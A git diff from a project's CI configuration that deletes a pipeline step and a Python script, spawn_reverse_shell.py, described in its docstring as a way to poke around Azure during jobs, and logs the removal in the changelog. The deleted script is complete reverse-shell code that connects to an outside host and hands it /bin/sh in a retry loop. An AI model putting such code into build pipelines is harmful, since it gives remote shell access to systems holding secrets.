diff --git a/.ci/azure-pipelines-steps.yml b/.ci/azure-pipelines-steps.yml
index 43eda90f..9acfa7b1 100644
--- a/.ci/azure-pipelines-steps.yml
+++ b/.ci/azure-pipelines-steps.yml
@@ -37,9 +37,6 @@ steps:
 
   displayName: activate venv
 
-- script: .ci/spawn_reverse_shell.py
-  displayName: "Spawn reverse shell"
-
 - script: .ci/$(MODE)_install.py
   displayName: "Run $(MODE)_install.py"
 
diff --git a/.ci/spawn_reverse_shell.py b/.ci/spawn_reverse_shell.py
deleted file mode 100755
index 8a6b9500..00000000
--- a/.ci/spawn_reverse_shell.py
+++ /dev/null
@@ -1,36 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Allow poking around Azure while the job is running.
-"""
-
-import os
-import pty
-import socket
-import subprocess
-import sys
-import time
-
-
-if os.fork():
-    sys.exit(0)
-
-
-def try_once():
-    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-    s.connect(("k3.botanicus.net", 9494))
-    open('/tmp/interactive', 'w').close()
-
-    os.dup2(s.fileno(), 0)
-    os.dup2(s.fileno(), 1)
-    os.dup2(s.fileno(), 2)
-    p = pty.spawn("/bin/sh")
-
-
-while True:
-    try:
-        try_once()
-    except:
-        time.sleep(5)
-        continue
-
diff --git a/docs/changelog.rst b/docs/changelog.rst
index cb7360a2..3b5e4b79 100644
--- a/docs/changelog.rst
+++ b/docs/changelog.rst
@@ -31,6 +31,7 @@ v0.2.10 (unreleased)
 * :gh:issue:`758` fix initilialisation of callback plugins in test suite, to address a `KeyError` in
   :method:`ansible.plugins.callback.CallbackBase.v2_runner_on_start`
 * :gh:issue:`775` Add msvcrt to the default module deny list
+* :gh:issue:`847` Removed historic Continuous Integration reverse shell
 
 
 v0.2.9 (2019-11-02)